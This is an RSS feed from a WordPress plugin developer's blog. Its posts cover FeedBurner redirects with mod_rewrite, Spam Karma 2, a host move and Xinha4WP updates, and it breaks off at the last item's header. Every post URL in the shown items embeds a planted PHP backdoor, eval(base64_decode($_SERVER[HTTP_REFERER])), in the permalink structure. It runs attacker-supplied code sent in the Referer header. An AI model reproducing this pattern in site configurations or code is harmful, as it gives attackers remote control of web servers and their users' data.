<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Mike's WordPress Plugins</title>
	<atom:link href="http://plugins.baptiste.us/feed/" rel="self" type="application/rss+xml" />
	<link>http://plugins.baptiste.us</link>
	<description>Helping WordPress (and now bbPress) Do Very Cool Things</description>
	<pubDate>Wed, 23 Jan 2008 07:01:10 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Redirecting Wordpress Feeds to Feedburner With mod_rewrite</title>
		<link>http://plugins.baptiste.us/2008/01/22/redirecting-wordpress-feeds-to-feedburner-with-mod_rewrite/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2008/01/22/redirecting-wordpress-feeds-to-feedburner-with-mod_rewrite/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 18:58:12 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[feedburner]]></category>

		<category><![CDATA[mod_rewrite]]></category>

		<category><![CDATA[Plugins]]></category>

		<category><![CDATA[redirects]]></category>

		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/wordpress/redirecting-wordpress-feeds-to-feedburner-with-mod_rewrite/</guid>
		<description><![CDATA[A lot of WordPress bloggers use FeedBurner for their RSS feeds thanks to the wealth of features available. So all you need to do is redirect any feed request to your WordPress blog to your FeedBurner blog. Should be pretty easy, but you&#8217;d be surprised. In being as versatile as it is, WordPress can return [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Redirecting Wordpress Feeds to Feedburner With mod_rewrite",
	url: "http://plugins.baptiste.us/2008/01/22/redirecting-wordpress-feeds-to-feedburner-with-mod_rewrite/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>A lot of WordPress bloggers use FeedBurner for their RSS feeds thanks to the wealth of features available. So all you need to do is redirect any feed request to your WordPress blog to your FeedBurner blog. Should be pretty easy, but you&#8217;d be surprised. In being as versatile as it is, WordPress can return all sorts of RSS feeds based on how it&#8217;s asked. Add in a separate comments feed on FeedBurner and things get a little tricky. It&#8217;s easy to redirect the most common feed URLs directly to FeedBurner using simple mod_rewrite rules or the <a href="http://www.feedburner.com/fb/a/help/wordpress_quickstart">FeedSmith</a> plugin that FeedBurner now maintains, but they are not perfect solutions.</p>
<p>The problem is that most plugins redirect only the most common feed URLs while others still seem to come through to WordPress. I noticed this on a few of my sites where most feed traffic hit FeedBurner, but some non-FeedBurner feed requests were still being served. <a href="http://www.askapache.com/htaccess/feedsmith-htaccess.html">mp3 at AskApache saw the same thing</a> and came up with some nifty mod_rewrite rules to handle sending the proper requests to FeedBurner. However his rules required your comment feed to be formatted a certain way. It also seemed like certain very obscure feed requests might get improperly handled.</p>
<p>But I still wanted to move my redirects to mod_rewrite. Feed requests are one of the &#8216;heavier&#8217; WordPress requests out there in terms of CPU processing. Using a plugin to redirect your feeds helps, but you also end up initializing WordPress and PHP to do a simple redirect. Feed requests are happening more and more as legit and not so legit bots look for new content - so the less load they have the better. Using mod_rewrite is much more efficient since WordPress never gets initialized. It&#8217;s all handled within Apache.</p>
<p>So I sat down and came up with some rewrite rules, based on mp3&#8217;s rules, to try and better accomodate the various WordPress feed requests, common and obscure, without requiring a special type of FeedBurner feed name for my comment feed. I was previously using the Permalink Redirect plugin to handle redirects for my FeedBurner feed AND my hostname. Since I was doing this, I figured I&#8217;d try to get rid of Permalink Redirect completely and do it all within .htaccess. One less plugin to run meant that much less initialization for WordPress on normal requests. Here is what I came up with. I included comments to show the logic behind some of the rules</p>
<p><code><br />
# Force use of specific hostname<br />
RewriteCond %{HTTP_HOST} !^www\.example\.com [NC]<br />
RewriteCond %{HTTP_HOST} !=&quot;&quot;<br />
RewriteRule ^/(.*) http://www.example.com/$1 [L,R=301]<br />
#<br />
# Redirect global post and comment feeds to Feedburner without loading WP<br />
RewriteCond %{REQUEST_URI} ^/(feed|wp-atom|wp-feed|wp-rss|wp-rdf)(.*) [NC,OR]<br />
# Only match if feed is the ONLY attribute. Any other attributes mean a custom feed<br />
RewriteCond %{QUERY_STRING} ^feed=(feed|rss|rss2|rdf|atom)$ [NC]<br />
RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]<br />
RewriteRule .* http://feeds.feedburner.com/MyPostFeed? [L,R=302]<br />
#<br />
# Comment feeds can be called via /comments, wp-commentsrss2, or withcomments=1 to the main feed script<br />
RewriteCond %{REQUEST_URI} ^/(comments/|wp-commentsrss2)(.*) [NC,OR]<br />
RewriteCond %{QUERY_STRING} ^.*withcomments=.*$ [NC]<br />
# Calls directly to the feed scripts that include &#8216;withcomments&#8217; limit to POSTS with comments<br />
RewriteCond %{REQUEST_URI} !^/(wp-atom|wp-feed|wp-rss|wp-rdf)(.*) [NC]<br />
# Any specification of a post ID we skip since it&#8217;s post specific<br />
RewriteCond %{QUERY_STRING} !.*p=.* [NC]<br />
RewriteCond %{HTTP_USER_AGENT} !^.*(FeedBurner|FeedValidator) [NC]<br />
RewriteRule .* http://feeds.feedburner.com/MyCommentFeed? [L,R=302]<br />
</code></p>
<p>If you don&#8217;t have a comment feed on FeedBurner, just drop the 3rd section. Replace &#8216;MyPostFeed&#8217; with the name of your FeedBurner post feed and MyCommentFeed with your FeedBurner comment feed.</p>
<p>So far this has worked well for even the most obscure of feeds, like the dual behaviors of the attribute withcomments (when set in a main feed request, you get the comment fed - when set in a specific feed request, you get posts with comments). These were tested with WordPress 2.3.x There may be other weird cases from older WordPress versions it doesn&#8217;t cover. But so far it&#8217;s working like I expected. If you have ideas to enahnce it or find cases where the rules don&#8217;t work like they should, let me know in a comment.</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Redirecting+Wordpress+Feeds+to+Feedburner+With+mod_rewrite&url=http%3A%2F%2Fplugins.baptiste.us%2F2008%2F01%2F22%2Fredirecting-wordpress-feeds-to-feedburner-with-mod_rewrite%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2008/01/22/redirecting-wordpress-feeds-to-feedburner-with-mod_rewrite/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Spam Karma 2 Can&#8217;t Die</title>
		<link>http://plugins.baptiste.us/2007/12/06/spam-karma-2-cant-die/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/12/06/spam-karma-2-cant-die/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 07 Dec 2007 00:40:56 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Plugins]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[akismet]]></category>

		<category><![CDATA[sk2]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[spam karma 2]]></category>

		<category><![CDATA[wordpress plugins]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/spam-karma-2-cant-die/</guid>
		<description><![CDATA[As I was doing a fair amount of WordPress upgrading this week, I happened to see this news alert from Dr Dave in my Spam Karma 2 screen:

    1. Spam Karma Update - Coming soon:
    A small update for Spam Karma should be coming soon, fixing any compatibility issues [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Spam Karma 2 Can&#8217;t Die",
	url: "http://plugins.baptiste.us/2007/12/06/spam-karma-2-cant-die/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>As I was doing a fair amount of WordPress upgrading this week, I happened to see this news alert from <a href="http://unknowngenius.com/blog/">Dr Dave</a> in my Spam Karma 2 screen:</p>
<blockquote><p>
    <strong>1. Spam Karma Update - Coming soon</strong>:<br />
    A small update for Spam Karma should be coming soon, fixing any compatibility issues that might have been brought upon by the last half-gazilion Wordpress updates. Keep an eye on this news feed or <a href="http://unknowngenius.com/blog/wordpress/spam-karma/">Spam Karma</a>&#8217;s homepage for a release announcement by the end of the month. This will also likely be the last update to Spam Karma (which should still give us all quite a few months respite from spam). Barring any unforeseeable circumstances, there will be no more compatibility update to try and keep up with Wordpress&#8217; habit of breaking compatibility with each of their [numerous] releases. Furthermore, there is increasingly little point in &quot;competing&quot; against Akismet, when it is bundled and marketed as the principal Wordpress&#8217; antispam tool (even if I personally do not like its approach).
  </p></blockquote>
<p>There are thousands of WordPress plugins out there of varying degrees of quality. But Spam Karma 2 is hands down the best WordPress plugin out there. Wait, you say. Akismet rocks! It stops everything! Don&#8217;t get me wrong - Akismet is an amazing and useful service. But I agree with Dr Dave - it&#8217;s not the way to block all spam. And as someone whose email address got pegged as a spammer, it can be a real pain. I suddenly found my comments to various blogs just disappearing. Not feedback, no clue why. Finally, after emailing a fellow blogger, we discovered that my posts were in his Akismet queue - due to a mistaken blacklisting of my email address. To their credit, the Akismet folks fixed it on the second request I made. But the point is, a blacklist oriented spam list is not the best &#8216;overall&#8217; way to block spam.</p>
<p>Spam Karma 2 works because it takes a multi-faceted approach to spam fighting. By default, it has over ten different modules which analyze each comment to figure out if it is spam or not. Add in the Akismet plugin, and you have the ultimate spam fighting arsenal. The key is, instead of being the ONLY spam fighting method, Akismet becomes oen of many weapons. And SK2&#8217;s most useful feature is it allowed you to vary the strength of each weapon to suit your needs. Follow that up with the fact that it supports outside plugins (a plugin to a plugin - ha!) and you have an amazing amount of flexibility.</p>
<p>I wouldn&#8217;t run a WordPress site without the SK2/Akismet combo. I&#8217;ve had plenty of comments get trapped by SK2 that Akismet still thought were &#8216;ham&#8217;. Yet I can&#8217;t recall when SK2 trapped a comment as spam that really was legitimate, and I use it on 10+ WordPress sites. I know some of you find Akismet to be all you need, but I often hear about &#8216;clearing out my Akismet queue&#8217; like its a regular chore. I can&#8217;t imagine. I might have to moderate a couple comments a week. But the SK2/Akismet combo hammer down things so well, there are very few spam that it can&#8217;t figure out.</p>
<p>But Dr Dave has a point. Unlike some software that doesn&#8217;t seem to get updated much when it should be, WordPress gets updated a lot. But that&#8217;s a double edged sword. It&#8217;s great because you get new features often and get bugs fixed quickly. But the frequent release of major versions (in this case 0.1+) have caused a lot of plugin authors a lot of pain. Every time you get a chance to get your plugin stable and not chewing up your time, a new WP version comes out that breaks it and you have to fix it again. With a plugin as big and complex as SK2, I can imagine this is a heck of a chore. Do we really need 0.1 increments every 3 months? I don&#8217;t know. Clearly, there have been a lot of improvements (tagging going native, etc) worth having. But sometimes I wonder if we&#8217;re seeing WordPress churn TOO much. As someone who maintains a lot of WP based sites, they admin overhead just to keep them updated has become a real issue and makes me wish WordPress-MU was farther along.</p>
<p>Anyway - I&#8217;m just venting. I hope Dr Dave reconsiders, but clearly he has some exciting new stuff to deal with (he&#8217;s working on some macro level spam research). I hope enough people feel like I do and will work to keep SK2 alive and kicking. It does too much good to be left to wither. I for one don&#8217;t see SK2 as a competitor to Akismet. I rather see Akismet as an excellent addition to Spam Karma 2 <img src='http://plugins.baptiste.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I know I&#8217;ll do whatever I can as a programmer to help keep SK2 working with new WP versions, even if just for my own selfish reasons on my own sites. So if Dr Dave really does end-of-life SK2 and you&#8217;re interested in helping keep it alive, let me know as I&#8217;ll be more than happy to help!</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Spam+Karma+2+Can%26%238217%3Bt+Die&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F12%2F06%2Fspam-karma-2-cant-die%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/12/06/spam-karma-2-cant-die/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>On A New Host&#8230;</title>
		<link>http://plugins.baptiste.us/2007/12/06/on-a-new-host/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/12/06/on-a-new-host/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 06 Dec 2007 19:32:56 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Site News]]></category>

		<category><![CDATA[Plugins]]></category>

		<category><![CDATA[upgrades]]></category>

		<category><![CDATA[wordpress plugins]]></category>

		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/sitenews/on-a-new-host/</guid>
		<description><![CDATA[  Sorry for the weirdness today. Did some major upgrades to the site and forums as well as moved to a new host. Hope to get working on a new version of Xinha4WP very soon. The good news is I have it working on v2.3 of WordPress, so it shouldn&#8217;t be too hard to [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "On A New Host&#8230;",
	url: "http://plugins.baptiste.us/2007/12/06/on-a-new-host/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>  Sorry for the weirdness today. Did some major upgrades to the site and forums as well as moved to a new host. Hope to get working on a new version of Xinha4WP very soon. The good news is I have it working on v2.3 of WordPress, so it shouldn&#8217;t be too hard to wrap up some changes and get a new version out. Thanks for your patience! I hate when life gets in the way of coding!</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=On+A+New+Host%26%238230%3B&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F12%2F06%2Fon-a-new-host%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/12/06/on-a-new-host/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>WordPress 2.2 and Xinha4WP</title>
		<link>http://plugins.baptiste.us/2007/08/05/wordpress-22-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/08/05/wordpress-22-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 05 Aug 2007 23:53:37 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/wordpress-22-and-xinha4wp/</guid>
		<description><![CDATA[When I recently upgraded one of my sites to WordPress 2.2, I discovered Xinha4WP did not work. It would not load when writing a new post.
Xinha itself has been under continued development, and the latest release was version 0.931, so I figured it was time to update the core Xinha installation in Xinha4WP (it was [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "WordPress 2.2 and Xinha4WP",
	url: "http://plugins.baptiste.us/2007/08/05/wordpress-22-and-xinha4wp/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>When I recently upgraded one of my sites to WordPress 2.2, I discovered Xinha4WP did not work. It would not load when writing a new post.</p>
<p>Xinha itself has been under continued development, and the latest release was version 0.931, so I figured it was time to update the core Xinha installation in Xinha4WP (it was using a version from October 2006). Well, that brought on a host of new problems as the Xinha team has changed a number of things to further eradicate &#8216;htmlarea&#8217; from the code. They also added a new way to pass plugin configurations which solved another problem I&#8217;ve been having with backend security errors in the ImageManager plugin.</p>
<p>After a day of tinkering, I think I&#8217;ve got the latest Xinha release working properly in WordPress 2.2. Next up is to test it in WordPress 2.1 (even though I know NOBODY is still running it <img src='http://plugins.baptiste.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) I also want to add support for a few more plugins, especially the ExtendedFileManager (in Image Management mode). That&#8217;s going to take a little doing. Then I&#8217;ll release v1.2c Beta into the wild.</p>
<p>So bear with me - v1.2c Beta should be out soon - I just want to use it for a bit more to make sure everything is still working like it should. So far so good with both Firefox and IE 7. Still no love for Safari users though - Xinha doesn&#8217;t work on it. </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=WordPress+2.2+and+Xinha4WP&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F08%2F05%2Fwordpress-22-and-xinha4wp%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/08/05/wordpress-22-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Things Aren&#8217;t As Dead As They Seem</title>
		<link>http://plugins.baptiste.us/2007/04/18/things-arent-as-dead-as-they-seem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/04/18/things-arent-as-dead-as-they-seem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Apr 2007 17:44:28 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Ramblings]]></category>

		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/things-arent-as-dead-as-they-seem/</guid>
		<description><![CDATA[I know I&#8217;ve been fairly quiet recently. I have a few projects taking up the bulk of my time, so bear with me. One of those projects is pushing some Xinha4WP modifications that I&#8217;ve needed to make anyway - so stay tuned. More tags, YouTube video insertion, and eventually g2man integration are definitely on the [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Things Aren&#8217;t As Dead As They Seem",
	url: "http://plugins.baptiste.us/2007/04/18/things-arent-as-dead-as-they-seem/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>I know I&#8217;ve been fairly quiet recently. I have a few projects taking up the bulk of my time, so bear with me. One of those projects is pushing some Xinha4WP modifications that I&#8217;ve needed to make anyway - so stay tuned. More tags, YouTube video insertion, and eventually g2man integration are definitely on the horizon! Plus I hope to add in support for additional Xinha plugins like Stylist and the enhanced File Manager.</p>
<p>On a side note - I&#8217;ll be moving the site to a new host in the next few days, so you might see a momentary interruption, but nothing more than that!</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Things+Aren%26%238217%3Bt+As+Dead+As+They+Seem&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F04%2F18%2Fthings-arent-as-dead-as-they-seem%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/04/18/things-arent-as-dead-as-they-seem/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Love Note To Plugin Authors</title>
		<link>http://plugins.baptiste.us/2007/02/07/love-note-to-plugin-authors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/02/07/love-note-to-plugin-authors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 Feb 2007 16:35:03 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Plugins]]></category>

		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/love-note-to-plugin-authors/</guid>
		<description><![CDATA[Lorelle from Lorelle on WordPress has made February &#8216;plugin month&#8217; at her site. She is highlighting a number of plugins over the course of the month and is also putting up very useful posts for plugin development. Her latest post &#8216;A Love Letter to WordPress Plugin Authors&#8217; is a must read for anyone writing plugins. [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Love Note To Plugin Authors",
	url: "http://plugins.baptiste.us/2007/02/07/love-note-to-plugin-authors/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>Lorelle from Lorelle on WordPress has made February &#8216;plugin month&#8217; at her site. She is highlighting a number of plugins over the course of the month and is also putting up very useful posts for plugin development. Her latest post &#8216;<a href="http://lorelle.wordpress.com/2007/02/06/a-love-letter-to-wordpress-plugin-authors/">A Love Letter to WordPress Plugin Authors&#8217;</a> is a <em>must read</em> for anyone writing plugins. I agree with almost everything she says, <a href="http://lorelle.wordpress.com/2007/02/06/a-love-letter-to-wordpress-plugin-authors/#comment-179139">except about tab placement</a>. If a plugin I install puts a tab on the top level, I often edit the plugin and move it where it belongs <img src='http://plugins.baptiste.us/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> I&#8217;m anal that way!</p>
<p>I create this plug site specifically because <a href="http://baptiste.us/plugins/xinha4wp/">the original Xinha4WP page and comments</a> were getting out of control. So we put up forums and the response has been VERY positive. Thanks for everyone who is speaking up about issues so we can try to fix them.</p>
<p>Anyway, Lorelle has drawn a line in the sand challenging plugin authors to write well crafted and organized plugins and follow that up with some form of support. I agree 100%.</p>
<p>One idea I had&#8230; (hey maybe an idea for a future plugin!) is to possibly put something together that can track all the tabs added to WordPress by plugins and allow you to move them where you want via an options screen. That would be very useful. Not sure it could be done codewise, but there are hooks for everything else!</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Love+Note+To+Plugin+Authors&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F02%2F07%2Flove-note-to-plugin-authors%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/02/07/love-note-to-plugin-authors/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Welcome to Xinha4WP&#8217;s New Home!</title>
		<link>http://plugins.baptiste.us/2007/01/29/welcome-to-xinha4wps-new-home/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/01/29/welcome-to-xinha4wps-new-home/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Jan 2007 06:22:53 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/sitenews/welcome-to-xinha4wps-new-home/</guid>
		<description><![CDATA[As more and more people use Xinha4WP, it was clear relying on the post comments to interact with users wasn&#8217;t working well. I&#8217;m working on a new plugin which I expect will generate plenty of user inquiries and I didn&#8217;t want another plugin page with 200+ comments. So I decided to move Xinha4WP and any [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Welcome to Xinha4WP&#8217;s New Home!",
	url: "http://plugins.baptiste.us/2007/01/29/welcome-to-xinha4wps-new-home/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p>As more and more people use <a href="http://plugins.baptiste.us/plugins/xinha4wp/">Xinha4WP</a>, it was clear relying on the post comments to interact with users wasn&#8217;t working well. I&#8217;m working on a new plugin which I expect will generate plenty of user inquiries and I didn&#8217;t want another plugin page with 200+ comments. So I decided to move Xinha4WP and any other plugins I develop to a new site dedicated to them <a href="http://plugins.baptiste.us/forums/"><em>with integrated forums for support questions</em></a>. This should not only reduce the number of repeat questions, but also help keep track of ongoing problems vs. resolved problems and keep the questions in one place (too many user queries were spread across the various Xinha4WP announcement posts)<br />
    
    </p>
<p>Besides, too many friends and family would go to <a href="http://baptiste.us/">our family site</a> and be totally confused by all this talk about plugins and such. So update your bookmarks! Xinha4WP has a new home!</p>
<p>Let me know what you think. I&#8217;ve worked to get all the rough edges smoothed out that I could find. There&#8217;s just a few formatting tweaks here and there I still need to do, especially in the forums. <strong>I&#8217;ve also noticed an occasional &#8216;blank page&#8217; returned when you click links. This is my first WordPress 2.1 install and it&#8217;s segfaulting apache on the rare occasion (All my WordPress 2.0.x installs are working great). Going to have to update the LAMP stack sooner rather than later I fear - I think my current PHP install is showing it&#8217;s age.</strong><br />
    
    </p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Welcome+to+Xinha4WP%26%238217%3Bs+New+Home%21&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F01%2F29%2Fwelcome-to-xinha4wps-new-home%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/01/29/welcome-to-xinha4wps-new-home/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xinha4WP and WordPress 2.1 - WORKS</title>
		<link>http://plugins.baptiste.us/2007/01/24/xinha4wp-and-wordpress-21-works/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2007/01/24/xinha4wp-and-wordpress-21-works/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 24 Jan 2007 21:03:02 +0000</pubDate>
		<dc:creator>Mike Baptiste</dc:creator>
		
		<category><![CDATA[Xinha4WP]]></category>

		<guid isPermaLink="false">http://plugins.baptiste.us/plugins/xinha4wp/xinha4wp-and-wordpress-21-works/</guid>
		<description><![CDATA[ Now that WordPress 2.1 is out, I&#8217;ve had a couple of people note that Xinha4WP breaks after the upgrade. I&#8217;m knee deep in the development of another plugin so I haven&#8217;t had time to setup a 2.1 text environment and work on it. I hope to get a chance to do that this week. [...]

<script type="text/javascript">
SHARETHIS.addEntry({
	title: "Xinha4WP and WordPress 2.1 - WORKS",
	url: "http://plugins.baptiste.us/2007/01/24/xinha4wp-and-wordpress-21-works/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/"
});
</script>
	]]></description>
			<content:encoded><![CDATA[<p> Now that WordPress 2.1 is out, I&#8217;ve had a couple of people note that Xinha4WP breaks after the upgrade. <del>I&#8217;m knee deep in the development of another plugin so I haven&#8217;t had time to setup a 2.1 text environment and work on it. I hope to get a chance to do that this week. So if you rely on Xinha4WP - you may want to hold off on a WordPress 2.1 upgrade for now. I had checked the know gotchas for 2.1 and it didn&#8217;t look like we would hit any. Guess we did.</del>
</p>
<p>OK - I got WordPress 2.1 installed and Xinha4WP worked right out of the box. If you are having trouble with Xinha4WP after upgrading to WordPress 2.1, PLEASE post a comment with as much information as you can collect. Right now, it seems to be working fine for me so I can&#8217;t really tell what might be going on. I&#8217;ve only gotten two reports of problems so I think those may be separate issues.&nbsp;</p>
<p><a href="http://sharethis.com/item?publisher=be626546-97bb-4e02-97a4-8feb7c5d12f9&title=Xinha4WP+and+WordPress+2.1+-+WORKS&url=http%3A%2F%2Fplugins.baptiste.us%2F2007%2F01%2F24%2Fxinha4wp-and-wordpress-21-works%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F">ShareThis</a></p>]]></content:encoded>
			<wfw:commentRss>http://plugins.baptiste.us/2007/01/24/xinha4wp-and-wordpress-21-works/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>WordPress 2.1 and Xinha4WP</title>
		<link>http://plugins.baptiste.us/2006/12/14/wordpress-21-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://plugins.baptiste.us/2006/12/14/wordpress-21-and-xinha4wp/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 14 Dec 2006 13:24:01 +0000</pubDate>
